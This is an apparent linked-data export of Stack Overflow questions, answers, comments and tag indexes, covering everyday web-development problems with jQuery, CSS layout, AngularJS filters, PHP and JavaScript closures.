has comment: http://stackoverflow.com/comment/40363822
type: UnansweredQuestion
has title: jQuery submit form by clicking link issue
has comment: http://stackoverflow.com/comment/40363836
has comment: http://stackoverflow.com/comment/40365779
has comment: http://stackoverflow.com/comment/40366687

http://stackoverflow.com/comment/45340791
score: 0
type: Comment
comment on: http://stackoverflow.com/a/27703724
has text: As it happens I'm doing this for a zotero extension,... and zotero ships with a serviceable http server embedded, so this ought to work. I had not expected google to accept localhost redirect URIs
type: AnswerComment

http://stackoverflow.com/comment/40206687
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25719198
type: Comment
has text: @T.J.Crowder If the value is being submited than haveing a name is quite usefull

http://stackoverflow.com/a/25900228
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25840275
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40580832
answers question: http://stackoverflow.com/q/25840275
has body: There appears to be some dependency issues in Backgrid.js You need to define backgrid so require JS can sort out your dependencies. define(["jquery", "underscore", "backbone", "backgrid"], factory); See full diff below. diff --git a/index.html b/index.html index 9215493..8946227 100755 --- a/index.html +++ b/index.html @@ -22,4 +22,4 @@ &lt;/div&gt; &lt;/content&gt; &lt;/body&gt; -&lt;/html&gt; \ No newline at end of file +&lt;/html&gt; diff --git a/js/libs/backgrid-filter.js b/js/libs/backgrid-filter.js index 59e3012..c4d94af 100644 --- a/js/libs/backgrid-filter.js +++ b/js/libs/backgrid-filter.js @@ -509,4 +509,4 @@ }); -})); \ No newline at end of file +})); diff --git a/js/libs/backgrid-paginator.js b/js/libs/backgrid-paginator.js index 9a032e5..e7da301 100755 --- a/js/libs/backgrid-paginator.js +++ b/js/libs/backgrid-paginator.js @@ -8,7 +8,13 @@ (function (root, factory) { // CommonJS - if (typeof exports == "object") { + + if (typeof define === 'function' &amp;&amp; define.amd) { + + // AMD. Register as an anonymous module. + define(["underscore", "backbone", "backgrid"], factory); + } else if (typeof exports == "object") { + module.exports = factory(require("underscore"), require("backbone"), require("backgrid"), diff --git a/js/libs/backgrid.js b/js/libs/backgrid.js index a3c7367..e493e84 100755 --- a/js/libs/backgrid.js +++ b/js/libs/backgrid.js @@ -9,7 +9,13 @@ (function (factory) { require("backbone"), require("backgrid"), diff --git a/js/libs/backgrid.js b/js/libs/backgrid.js index a3c7367..e493e84 100755 --- a/js/libs/backgrid.js +++ b/js/libs/backgrid.js @@ -9,7 +9,13 @@ (function (factory) { // CommonJS - if (typeof exports == "object") { + + if (typeof define === 'function' &amp;&amp; define.amd) { + + // AMD. Register as an anonymous module. + define(["jquery", "underscore", "backbone", "backgrid"], factory); + } + else if (typeof exports == "object") { module.exports = factory(module.exports, require("underscore"), require("backbone")); @@ -20,6 +…
type: Answer
has comment: http://stackoverflow.com/comment/40539220
has comment: http://stackoverflow.com/comment/40542982
downvote count: 0

http://stackoverflow.com/q/25849937
type: Question
tagged with: jquery-ui
has body: I have an example of what I have working here on this fiddle: jsfiddle What is happening is the draggable from the list on the left will be removed if dropped in the trash can. But I want the items that have been placed into the droppable to be removed when moved to the trash can. I don't know if its because its sortable that I am having so much trouble, but any insight would be great. HTML: Alert Devices <li name="<?php echo 'next_level'.$random; ?>" data-id="-1">Default Top Option <li class="" style="border: 1px solid #999999;" name="<?php echo 'id_select'.$random; ?>" data-id="<?php echo $alert_device_id;?>">OPTION <li class="" style="border: 1px solid #999999;" name="<?php echo 'id_select'.$random; ?>" data-id="<?php echo $alert_device_id;?>">OPTION2 <li class="" style="border: 1px solid #999999;" name="<?php echo 'id_select'.$random; ?>" data-id="<?php echo $alert_device_id;?>">OPTION3 Build List Below Add your items here <button type="button" class="btn btn-success mybutton" onclick="submit_es(<?php echo $tab_id;?>)">Save Trash Bin Javascript / Jquery $(function () { $("#catalog li").draggable({ appendTo: "body", helper: "clone" }); $("#cart ol").droppable({ activeClass: "ui-state-default", hoverClass: "ui-state-hover", accept: ":not(.ui-sortable-helper)", drop: function (event, ui) { var alert_id = ($(ui.draggable).attr('data-id')); var li_name = Math.random(); $(" ").text(ui.draggable.text()).appendTo(this); $(this).find(".placeholder").remove(); } }).sortable({ items: "li:not(.placeholder)", sort: function () { $(this).removeClass("ui-state-default"); } }) }); $(function () { $(".moved").draggable(); $('#trash').droppable({ drop: function (event, ui) { $(ui.draggable).remove(); } }); });
score: 1
downvote count: 0
tagged with: javascript
tagged with: jquery
favorite count: 0
type: UnansweredQuestion
has title: jquery making sortable removable
answer count: 0
upvote count: 1

http://stackoverflow.com/comment/40447369
type: Comment
has text: @Teo definitely not :D
score: 0
comment on: http://stackoverflow.com/q/25850475
type: QuestionComment

http://stackoverflow.com/comment/40262481
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25747340
has text: That's true, from what i understand, you can do what you want with the Chrome console.
type: AnswerComment

javascript-objects
tags question: http://stackoverflow.com/q/25750649
tags question: http://stackoverflow.com/q/25776743
tags question: http://stackoverflow.com/q/25864155
type: Tag
tag name: javascript-objects
tags question: http://stackoverflow.com/q/25866417
tags question: http://stackoverflow.com/q/25799708
tags question: http://stackoverflow.com/q/25790986

http://stackoverflow.com/a/25744627
answers question: http://stackoverflow.com/q/25744546
downvote count: 0
has comment: http://stackoverflow.com/comment/40253874
has comment: http://stackoverflow.com/comment/40254312
has comment: http://stackoverflow.com/comment/40253912
has comment: http://stackoverflow.com/comment/40254190
has comment: http://stackoverflow.com/comment/40253829
type: Answer
score: 3
upvote count: 3
has body: Yuo may try this: function closeOnRejectSuccess(){ window.opener.opener.location.reload(); }

http://stackoverflow.com/q/25720166
tagged with: javascript
has answer: http://stackoverflow.com/a/25720190
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/25720193
has comment: http://stackoverflow.com/comment/40208252
type: UnansweredQuestion
has title: Javascript condition to check array length
type: Question
has body: I have an array returned from server response, which has 3 possibilities, i need to check on UI; if length is 0..do something if length is 1...do something length > 1 ...do something Is there a better way to write the below JS code, given the above conditions ? if (myArray.length == 0) { } else if (myArray.length == 1) { } else { }
has answer: http://stackoverflow.com/a/25720242

http://stackoverflow.com/q/25837744
has comment: http://stackoverflow.com/comment/40470974
score: 8
has answer: http://stackoverflow.com/a/25859803
favorite count: 0
has answer: http://stackoverflow.com/a/25863577
upvote count: 8
type: UnansweredQuestion
tagged with: css
has body: My problem is very specific, and will haunt any web developer from the moment he/she will read it. So be carefull! I've got a layout planned for a website I'm building. The idea is that there is are tilted elements on the page, which the text will wrap around to (see image below. The black line represents the ) What you see are some orange stripes. Each and every one of these are a floating element with widths of 10px, then 20px, then 30px etc. The black line represents where they stop, and thus where they cut off the text. The big orange area is, as you may guess, a floating element with a width of 0 and a height of 100% of it's parent minus the height of the 70 other floating elements (the stripes), which is 70px. The issue: this doesn't seem to be possible. What I get is this: Since these little stripes are each 1px high, they will show up, no matter what. But the big one relies on the height of its parents. If I was to fix the parent's height, it would work. But I want the box to be dynamic. This means I should be able to change the text inside. Also, if I were to fix it's height, scaling the page up and down looks disastrous. What I need to happen is this: The first, big floating element should be taking up the space it needs (100% - 70px), without giving it's parent a fixed height, while keeping it floated. I am going to reward the person solving this with all the reputation I can put in, since this has been pestering me for months. For people trying to solve the issue. There are some thoughts that may help: Table cells can align elements to it's bottom I've tried rotating in a lot of ways. Too bad there's no upside down text. I've tried adding margins, paddings and borders to the first floating div. Not one combination has worked so far. I don't actually want the elements to float. This is just the way I chose to try, because I don't know another way to wrap text around an element. You are free to try ANYTHING you want, as long as the text inside can be chang…
has answer: http://stackoverflow.com/a/25865110
type: Question
has comment: http://stackoverflow.com/comment/40424340
has comment: http://stackoverflow.com/comment/40424367
downvote count: 0
tagged with: javascript
answer count: 3
tagged with: http://stackoverflow.com/tag/html
has title: Floating elements to bottom
has comment: http://stackoverflow.com/comment/40470953

http://stackoverflow.com/comment/40241423
type: AnswerComment
has text: Thanks a lot. However, my question regarding the first part is a bit different: I'm creating a Cocoa/Objective -> JS/Angular bridge, so I'm looking for a way to programmatically access the controller property from the "outside". Something like `PP.documentController.documents.push(...)`. Is something like that possible, or am I missing something?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25737560

http://stackoverflow.com/q/25771401
score: 1
has body: I have a problem with document.body.style.backgroundImage tag. It is woking perfectly on local but not on the server. &lt;a href="roztoky.php" onclick = "document.body.style.backgroundImage = 'url(../img/roztoky.png)';"&gt; On local, backgound is switched with no problem, but on the server the backgroud cames up just for a few seconds and then its overwrited back to defalut But if I call it like that: &lt;a href="_section/roztoky.php" onclick = "document.getElementById('frame').style.backgroundImage = 'url(img/roztoky.png)';" target="a"&gt; It works ... Any ideas?
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/40302886
has comment: http://stackoverflow.com/comment/40302910
tagged with: javascript
has comment: http://stackoverflow.com/comment/40302821
downvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/25771566
favorite count: 0
has comment: http://stackoverflow.com/comment/40302776
has comment: http://stackoverflow.com/comment/40302986
has comment: http://stackoverflow.com/comment/40302702
accepted answer: http://stackoverflow.com/a/25771566
tagged with: css
type: AnsweredQuestion
has title: document.body.style.backgroundImage does not works

http://stackoverflow.com/comment/40399175
type: Comment
comment on: http://stackoverflow.com/a/25823987
score: 0
type: AnswerComment
has text: there will be no case of all white space but still nice to know

http://stackoverflow.com/comment/40680812
comment on: http://stackoverflow.com/a/25927377
has text: @SteveChambers What do you mean by except where `foo` is not specified? The first capture group contains an empty string as OP mentioned in the question. For example, see match 4 group 1 in your link. How crucial it is for the OP, I wouldn't know; because only the OP would. I'm giving options.
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/a/25760512
has body: You can't render php on a Javascript file, but you can do this: on your php file: &lt;script&gt; var cookie = "&lt;?php echo 'Welcome ' . $_COOKIE['user'] . '&lt;br&gt;'; ?&gt;"; &lt;/script&gt; &lt;div id="test"&gt;&lt;/div&gt; and in your js file: document.getElmentById('test').innerHTML = cookie; Regards
score: 0
answers question: http://stackoverflow.com/q/25760431
type: Answer

http://stackoverflow.com/comment/40429354
comment on: http://stackoverflow.com/a/25837907
score: 0
type: AnswerComment
type: Comment
has text: Yes am checking the console by Chrome.How to make them defined ?How to write them to be canvas object ?

http://stackoverflow.com/q/25800237
answer count: 2
tagged with: javascript
has comment: http://stackoverflow.com/comment/40356118
score: 0
has body: I'm trying to find the keycodes (if that's even what I need) and to change the character to the incremented keycode (this is just for a coding challenge) and it's not working function LetterChanges(str) { var newString = ""; var keyCode; for(var i = 0; i &lt; str.length; ++i) { keyCode = str.charCodeAt(i); console.log(keyCode); if( keyCode &gt; 57 &amp;&amp; keyCode &lt; 122) { //add 1 to the keycode newString += String.fromCharCode(i+1); //console.log(String.fromCharCode(i+1)); } else if(keyCode === 90) { //if it's a z being examined, add an a newString += "a"; } else //it is a symbol, so just add it to the new string without change newString += str[i]; } return newString.toUpperCase(); } console.log(LetterChanges("Charlie"));
has answer: http://stackoverflow.com/a/25800695
accepted answer: http://stackoverflow.com/a/25800695
has comment: http://stackoverflow.com/comment/40356104
possible better answer: http://stackoverflow.com/a/25800345
favorite count: 0
upvote count: 1
downvote count: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25800345
type: Question
has title: Javascript charCodeAt() not returning correct codes.. or is it?

http://stackoverflow.com/comment/40437347
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25844579
has text: Check my jsfiddle example, thats the way you could do it.
score: 0

http://stackoverflow.com/comment/40429988
type: AnswerComment
type: Comment
has text: Andy, the answer to your question is right there in the error log. functions.php, line 74 is trying to load options.php from a location where it doesn't exist.
comment on: http://stackoverflow.com/a/25835212
score: 0

http://stackoverflow.com/a/25830253
has comment: http://stackoverflow.com/comment/40451474
has comment: http://stackoverflow.com/comment/40411083
has comment: http://stackoverflow.com/comment/40410711
answers question: http://stackoverflow.com/q/25830061
score: 0
type: AcceptedAnswer
has body: You can try this code: if (oSession.uriContains("www.youtube.com/results?search_query=")) { var str = oSession.fullUrl; var sAppend = "+test1+test2+test3"; if (!oSession.uriContains(sAppend)) { oSession.fullUrl = str + sAppend; } }
has comment: http://stackoverflow.com/comment/40411030
type: Answer
accepted answer of: http://stackoverflow.com/q/25830061

input
tags question: http://stackoverflow.com/q/25834954
tags question: http://stackoverflow.com/q/25719895
tags question: http://stackoverflow.com/q/25850664
tags question: http://stackoverflow.com/q/25755223
tags question: http://stackoverflow.com/q/25780509
tags question: http://stackoverflow.com/q/25848640
tags question: http://stackoverflow.com/q/25827391
tags question: http://stackoverflow.com/q/25859479
tags question: http://stackoverflow.com/q/25824212
tags question: http://stackoverflow.com/q/25780379
tags question: http://stackoverflow.com/q/25847509
tags question: http://stackoverflow.com/q/25863192
tags question: http://stackoverflow.com/q/25823868
tags question: http://stackoverflow.com/q/25835562
tags question: http://stackoverflow.com/q/25741946
tag name: input
tags question: http://stackoverflow.com/q/25727753
type: Tag
tags question: http://stackoverflow.com/q/25781851
tags question: http://stackoverflow.com/q/25783458
tags question: http://stackoverflow.com/q/25793833

http://stackoverflow.com/comment/40380824
has text: @AndrewCheong Haha! Yeah I know :)
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25814039

http://stackoverflow.com/comment/40474111
comment on: http://stackoverflow.com/q/25865231
type: Comment
type: QuestionComment
has text: This is the reason why: `style.replace(/\{\{ht\}\}/g, i * 25)` moves the divs 25px away from each other. You can replace 25 with a smaller number like 10. Sorry for the terrible explanation. Check this: http://jsfiddle.net/wa4ctpjy/
score: 0

http://stackoverflow.com/a/25746623
type: Answer
upvote count: 1
has body: Through more.one('click', firstClick); the event handler gets removed after the first call. Change it to more.on('click', firstClick); and it works.
score: 1
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25746427
answers question: http://stackoverflow.com/q/25746427

http://stackoverflow.com/comment/40365507
has text: So you have to do with JS. I suggest JQuery validation. See the edited answer. And make sure you have used JQuery (the mostly wide-used JS library).
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25805455
type: Comment

http://stackoverflow.com/comment/40255092
comment on: http://stackoverflow.com/q/25744195
type: QuestionComment
type: Comment
has text: You can find live examples for what you are trying to achieve on this webpage: http://css3.bradshawenterprises.com/cfimg/
score: 0

http://stackoverflow.com/comment/40255962
comment on: http://stackoverflow.com/q/25745756
type: Comment
type: QuestionComment
score: 1
has text: You have duplicate javascript functions. Put the if statements together in one of your "yesnoCheck" functions.

http://stackoverflow.com/comment/40266705
comment on: http://stackoverflow.com/q/25751430
has text: The current data structure has the lowest-level category where the parents array holds the categories to which the lowest-level category falls under, in increasing order.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40413573
type: Comment
has text: interesting solution though.Learned some new logic :)
comment on: http://stackoverflow.com/a/25831879
score: 1
type: AnswerComment

http://stackoverflow.com/comment/40348120
type: Comment
has text: Maybe you just need to empty the DIV before you append to it?
comment on: http://stackoverflow.com/q/25796116
score: 0
type: QuestionComment

http://stackoverflow.com/q/25858179
accepted answer: http://stackoverflow.com/a/25860317
has title: Modifying a URL to strip out the pathname and set it to the address bar
has comment: http://stackoverflow.com/comment/40461800
has answer: http://stackoverflow.com/a/25860317
upvote count: 0
type: Question
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25858217
has body: I have a website that when going to the homepage it shows the file directory and the aspx page for example: http://www.something.com/Common/WebPage/default.aspx What I am trying to find is hopefully find an easy way perferably in Javascript to rewrite the address in the browser to http://www.something.com when going to the homepage. Basically I am trying to do what cnn.com has done already and other sites
has answer: http://stackoverflow.com/a/25858217
tagged with: javascript
score: -1
answer count: 2
has comment: http://stackoverflow.com/comment/40479586
downvote count: 1
tagged with: asp.net
favorite count: 0

jsfeat
tags question: http://stackoverflow.com/q/25752711
tag name: jsfeat
type: Tag

http://stackoverflow.com/comment/40588463
comment on: http://stackoverflow.com/a/25861811
has text: Found a solution, updated question. Thanks for your help though. +1..:-)
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/25805500
downvote count: 1
has body: from the docs: In Angular forms can be nested. This means that the outer form is valid when all of the child forms are valid as well. However, browsers do not allow nesting of elements, so Angular provides the ngForm directive which behaves identically to but can be nested. This allows you to have nested forms, which is very useful when using Angular validation directives in forms that are dynamically generated using the ngRepeat directive. Since you cannot dynamically generate the name attribute of input elements using interpolation, you have to wrap each set of repeated inputs in an ngForm directive and nest these in an outer form element. https://docs.angularjs.org/api/ng/directive/form
type: Answer
upvote count: 0
answers question: http://stackoverflow.com/q/25805273
score: -1

http://stackoverflow.com/comment/40296292
has text: Many thanks for this. can you please give me a complete example with beforeClose event?
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25767409

http://stackoverflow.com/a/25832210
has comment: http://stackoverflow.com/comment/40414015
type: Answer
has comment: http://stackoverflow.com/comment/40414355
accepted answer of: http://stackoverflow.com/q/25831894
answers question: http://stackoverflow.com/q/25831894
score: 0
has body: The error is because the ID isn't getting passed through properly, so the model can't find the record. Your syntax is slightly wrong when defining the action. It should be this: &lt;form method="post" role="form" action="{{ action('Controller\Staff\PeminjamanController@update', array('id' =&gt; $peminjaman-&gt;id)) }}"&gt; Also to prevent that error from happening, your code should think about using findOrFail when updating records. $peminjaman = \peminjaman::findOrFail($id);
type: AcceptedAnswer

http://stackoverflow.com/a/25779393
type: Answer
score: 2
downvote count: 0
has body: Clientside &lt;!-- Clientside HTML Comment --&gt; View Source and you can see this comment in the code Serverside for .NET or other languages that support it &lt;%-- Serverside comment--%&gt; View Source and you will not see this comment in the HTML markup From MSDN: Server-side comments allow developers to embed code comments in any part of an ASP.NET application file (except for within code blocks). Any content between opening and closing tags of server-side comment elements, whether ASP.NET code or literal text, will not be processed on the server or rendered to the resulting page.
upvote count: 2
has comment: http://stackoverflow.com/comment/40317762
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25779340
answers question: http://stackoverflow.com/q/25779340

http://stackoverflow.com/q/25782812
has answer: http://stackoverflow.com/a/25782851
accepted answer: http://stackoverflow.com/a/25782851
type: AnsweredQuestion
score: 1
possible better answer: http://stackoverflow.com/a/25782861
has body: I'm passing values from one page to another by posting them and then putting them in to hidden fields on the next page. I've tried using the initial values and that doesn't work either, so my assumption is that it's to do with the jquery not checking for initial values. This is what I want to run: function check() { var Q1 = $("#question1").val(); if (Q1 == 'yes') { $(".A1").css("display", "block"); } else { $(".A1").css("display", "none"); } Where #question1 is the ID of the field populated from the previous page, but how do I get the check function to run when the page has loaded? I've tried adding: &lt;script type="text/javascript"&gt; check(); &lt;/script&gt; To the bottom of the page with no success, the only way it works at the moment is by clicking a button with this applied: $(".theanswer").click(function() { check(); return false; }); I'm sure there's probably a simple way i'm unaware of so any help is much appreciated. Cheers
has answer: http://stackoverflow.com/a/25782861
type: Question
tagged with: javascript
tagged with: jquery
answer count: 3
upvote count: 1
tagged with: http://stackoverflow.com/tag/html
has title: Run jQuery on page load with values from fields
favorite count: 0
has answer: http://stackoverflow.com/a/25783034
downvote count: 0

http://stackoverflow.com/a/25781376
score: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40322004
type: Answer
accepted answer of: http://stackoverflow.com/q/25780950
answers question: http://stackoverflow.com/q/25780950
has body: I think you want restrict only 10 input container . Try this Aggiungi
has comment: http://stackoverflow.com/comment/40321571

http://stackoverflow.com/q/25733246
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25733468
tagged with: animation
tagged with: css
has title: CSS Animation on hover out
has comment: http://stackoverflow.com/comment/40233312
has comment: http://stackoverflow.com/comment/40233467
has comment: http://stackoverflow.com/comment/40233376
tagged with: opacity
type: Question
has comment: http://stackoverflow.com/comment/40233502
has comment: http://stackoverflow.com/comment/40233654
tagged with: javascript
has comment: http://stackoverflow.com/comment/40233432
has body: I'm trying to get an element to animate using CSS when hovering out of an area. (I'm not familiar with how to do this in javascript) I've done the hover animation using the hover pseudo element and keyframe animations. I'm trying to animate opacity on :hover and hover out. I've got the :hover animation ok, but I want the animate the hover out effect. Is there a way to do this with CSS3? I've tried a few things, but no luck. HTML: Header - Sub Header - CSS: a.post-header { background: rgba(17,17,17,0.35); bottom: 0; left: 0; right: 0; color: #000000; padding-left: 100px; padding-right: 100px; } /*Fading out*/ @-webkit-keyframes fadeout { from { opacity: 1; } to { opacity: 0; } } @-moz-keyframes fadeout { from { opacity: 1; } to { opacity: 0; } } @keyframes fadeout { from { opacity: 1; } to { opacity: 0; } } h2.post-title em{ display: none; -webkit-animation: fadeout 1.2s ease-in-out; -moz-animation: fadeout 1.2s ease-in-out; animation: fadeout 1.2s ease-in-out; } /*Fading in*/ @-webkit-keyframes fadein { from { opacity: 0; } to { opacity: 1; } } @-moz-keyframes fadein { from { opacity: 0; } to { opacity: 1; } } @keyframes fadein { from { opacity: 0; } to { opacity: 1; } } a.post-header:hover em { display: inline-block; -webkit-animation: fadein 1.2s ease-in-out; -moz-animation: fadein 1.2s ease-in-out; animation: fadein 1.2s ease-in-out; } See the fiddle below jsfiddle Thanks!
score: 0
answer count: 1

http://stackoverflow.com/comment/40492548
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25873408
score: 0
has text: This is too hard to follow without a Codepen example or something...

http://stackoverflow.com/comment/40400331
has text: I think your code has a few misconceptions and outright errors. I'll create a blank, clean version of what you're trying to achieve and try to clear those up along the way.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25772161

http://stackoverflow.com/a/25723547
has body: Your filter needs to check whether or not the input exists: app.filter('startFrom', function() { return function(input, start) { if (!input || !input.length) { return; } start = +start; //parse to int return input.slice(start); } }); Otherwise, the filter function will run and thus call slice on undefined which doesn't have a property of slice like an array or string does. The reason the filter is called while there is no value is because the filter will run when Angular runs its first $digest cycle. You could avoid the error by adding an initial value in the controller, but it's best just to add the if statement to the filter. Here's a demo of both solutions. Notice there are no errors.
accepted answer of: http://stackoverflow.com/q/25723455
downvote count: 1
answers question: http://stackoverflow.com/q/25723455
type: AcceptedAnswer
score: 50
upvote count: 51
type: Answer

http://stackoverflow.com/a/25741568
score: 0
type: AcceptedAnswer
type: Answer
has body: To be honest your fiddle is a bit of a mess... You can't use a fixed position for your submenu. You should use "absolute" position. I add this to your CSS to modifed a bit all your nav bar: .horizontalni li {position:relative;} .navigation {z-index:100; ;} .has-sub.parent .wrapper {position: absolute;} .horizontalni {overflow:visible;max-width:100%} body {margin:0; padding:0; overflow:hidden;} and here you have your modified example: http://jsfiddle.net/gtw781sv/1/ Hope it can help you a bit. Edited: change overflow:hidden to overflow:auto in "body" if you want to check it with scroll-bars
accepted answer of: http://stackoverflow.com/q/25741075
has comment: http://stackoverflow.com/comment/40251956
answers question: http://stackoverflow.com/q/25741075

http://stackoverflow.com/a/25762861
has body: var list = [ "iPhone - Simulator - iOS 6.1", "iPhone - Simulator - iOS 7.1", "iPhone Retina (3.5-inch) - Simulator - iOS 6.1", "iPhone Retina (3.5-inch) - Simulator - iOS 7.1", "iPhone Retina (4-inch) - Simulator - iOS 6.1", "iPhone Retina (4-inch) - Simulator - iOS 7.1", "iPhone Retina (4-inch 64-bit) - Simulator - iOS 6.1", "iPhone Retina (4-inch 64-bit) - Simulator - iOS 7.1", "iPad - Simulator - iOS 6.1","iPad - Simulator - iOS 7.1", "iPad Retina - Simulator - iOS 6.1","iPad Retina - Simulator - iOS 7.1", "iPad Retina (64-bit) - Simulator - iOS 6.1", "iPad Retina (64-bit) - Simulator - iOS 7.1", "" ] var new_list = list.map(function(item){ return item.replace(/\(.*?\)/g, function(m){ return m.replace(/-/g, "#") }); });
has comment: http://stackoverflow.com/comment/40287067
upvote count: 1
answers question: http://stackoverflow.com/q/25762658
score: 0
type: Answer
downvote count: 1

http://stackoverflow.com/a/25866124
score: 2
accepted answer of: http://stackoverflow.com/q/25784093
type: AcceptedAnswer
downvote count: 0
type: Answer
upvote count: 2
has body: Each instance of the function declared inside the for loop shares the same closure containing the value i, and so all of your addListener calls are essentially calling iw.open(map, undefined) since i will be off the end of the array at the end of the iteration. See JavaScript closure inside loops – simple practical example for sample solutions to this problem, and How do JavaScript closures work for more information about closures in JavaScript in general.
answers question: http://stackoverflow.com/q/25784093

http://stackoverflow.com/comment/40315553
type: QuestionComment
comment on: http://stackoverflow.com/q/25777287
score: 3
has text: 1) Your cipher looks to be too large. It should never be larger than your modulus. 2) That is how it's supposed to work, RSA encryption using some random padding so every encryption, even of the same plaintext, will be different. Also, you should only use the bcprov-jdk15on library, the -ext vesion is almost identical except it includes some legacy ciphers (like IDEA) you won't need.
type: Comment

http://stackoverflow.com/q/25770130
has body: I have a 67x67 px image that I would like to scale down to 45x45 to fit into an anchor but I do not know how to adjust it. My HTML is: &lt;a class="CompareProfilePic" id="CompareProfilePic1" href="#"&gt; &lt;span id="CompareProfilePicActionBtn1" class="autocenter"&gt; &lt;/span&gt; &lt;/a&gt; My CSS is: a.CompareProfilePic { height: 45px; width: 45px; border-radius: 50%; float: left; margin-right: 10px; cursor: default !important; } And my JS is: document.getElementById('CompareProfilePic1').style.cssText = 'background-image: url(img/pic1.jpg)'; All my searches led to changing the size of what is holding the image, but that needs to stay 45x45. Any suggestiosn on how to scale the image to that size? Thanks for any tips or pointers.
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25770207
tagged with: css
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25770230
accepted answer: http://stackoverflow.com/a/25770230
linked to: http://stackoverflow.com/q/170624
type: Question
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25770207
has title: How to use JavaScript to scale an image to fit
tagged with: image
score: 0
answer count: 3
tagged with: scale
has answer: http://stackoverflow.com/a/25770187

http://stackoverflow.com/q/25792385
favorite count: 0
has answer: http://stackoverflow.com/a/25792434
type: UnansweredQuestion
has body: I have tried target="_blank" and other ways so that below window opens in a new page instead of replacing the current page but its not working. Can someone would be able to help me get this fixed? This is the code I am using: $("#yes").click(function() { answer(); setTimeout(function() { $.cookie("answered", "yes", {path:"/", expires:730}); window.location = "http://www.google.com", "_blank" }, 2E3) });
has comment: http://stackoverflow.com/comment/40340925
downvote count: 0
has title: Open url in a new window using javascript
score: 1
has answer: http://stackoverflow.com/a/25792439
type: Question
tagged with: javascript
answer count: 3
tagged with: window.location
upvote count: 1
has answer: http://stackoverflow.com/a/25792507

http://stackoverflow.com/q/25814725
favorite count: 0
tagged with: three.js
has answer: http://stackoverflow.com/a/32490944
score: 2
has title: three js getting coordinates of mesh.lookAt(object);
has body: I have scene,meshes and target object. When i set up mesh.lookAt(object) mesh correctly facing of object. How can i repeat this rotation of mesh on another mesh, to force another mesh facing the same direction (not the same object, but the same orientation as a first mesh have)? How can i get rotation coordinates of first mesh? How can i get this coordinates without need of creating mesh and order mesh.lookAt(object). That mean only to calculate this coordinates without need to use it on some object? UPDATE: Only possible solution is to create new THREE.Object3D() and use object.lookAt(target). Then repeat rotation for all later loaded object like: new_object.rotation.set(object.rotation.x,object.rotation.y,object.rotation.z) You will create only one Object, not a lot of unuseful Vector3-s. Do not use new_object.rotation = object.rotation it is functional solution, but a variables stay connected. Change of object rotation, will update new_object.rotation too (renderer is updating all values each frame).
type: AnsweredQuestion
tagged with: javascript
possible better answer: http://stackoverflow.com/a/32490944
type: Question
has answer: http://stackoverflow.com/a/25817147
upvote count: 2
accepted answer: http://stackoverflow.com/a/25817147
answer count: 2
downvote count: 0

http://stackoverflow.com/a/25756751
type: Answer
has comment: http://stackoverflow.com/comment/40303985
has body: Instead of debugging in the console, a useful technique to use is to just output the variable in the view:{{form.email.$error.unique}}. Put this above or below your input element and watch the value dynamically change as you type into it.
has comment: http://stackoverflow.com/comment/40312814
upvote count: 5
has comment: http://stackoverflow.com/comment/40312326
answers question: http://stackoverflow.com/q/25755873
score: 5
downvote count: 0

http://stackoverflow.com/comment/40300148
comment on: http://stackoverflow.com/q/25769258
score: 0
type: Comment
type: QuestionComment
has text: I used to do the same with Tomcat. I did not see this problem. Note that, the change is getting reflected on the client side. But server is keeping the size somewhere. So its kind of weird.

google-chrome-extension
tags question: http://stackoverflow.com/q/25735050
tags question: http://stackoverflow.com/q/25779652
tags question: http://stackoverflow.com/q/25866732
tags question: http://stackoverflow.com/q/25716682
tags question: http://stackoverflow.com/q/25838804
tags question: http://stackoverflow.com/q/25769964
tags question: http://stackoverflow.com/q/25733511
tags question: http://stackoverflow.com/q/25863374
tags question: http://stackoverflow.com/q/25759735
tags question: http://stackoverflow.com/q/25839547
tags question: http://stackoverflow.com/q/25822889
tag name: google-chrome-extension
tags question: http://stackoverflow.com/q/25753259
tags question: http://stackoverflow.com/q/25819523
tags question: http://stackoverflow.com/q/25756807
tags question: http://stackoverflow.com/q/25840674
tags question: http://stackoverflow.com/q/25778251
tags question: http://stackoverflow.com/q/25784958
tags question: http://stackoverflow.com/q/25821562
tags question: http://stackoverflow.com/q/25825179
tags question: http://stackoverflow.com/q/25835711
tags question: http://stackoverflow.com/q/25837849
tags question: http://stackoverflow.com/q/25809693
tags question: http://stackoverflow.com/q/25720841
type: Tag
tags question: http://stackoverflow.com/q/25843642
tags question: http://stackoverflow.com/q/25756415
tags question: http://stackoverflow.com/q/25757110
tags question: http://stackoverflow.com/q/25750475
tags question: http://stackoverflow.com/q/25804090
tags question: http://stackoverflow.com/q/25772391
tags question: http://stackoverflow.com/q/25839819
tags question: http://stackoverflow.com/q/25761143
tags question: http://stackoverflow.com/q/25731447
tags question: http://stackoverflow.com/q/25757863
tags question: http://stackoverflow.com/q/25761408
tags question: http://stackoverflow.com/q/25797780
tags question: http://stackoverflow.com/q/25714052
tags question: http://stackoverflow.com/q/25716119
tags question: http://stackoverflow.com/q/25726131
tags question: http://stackoverflow.com/q/25788367
tags question: http://stackoverflow.com/q/25861492
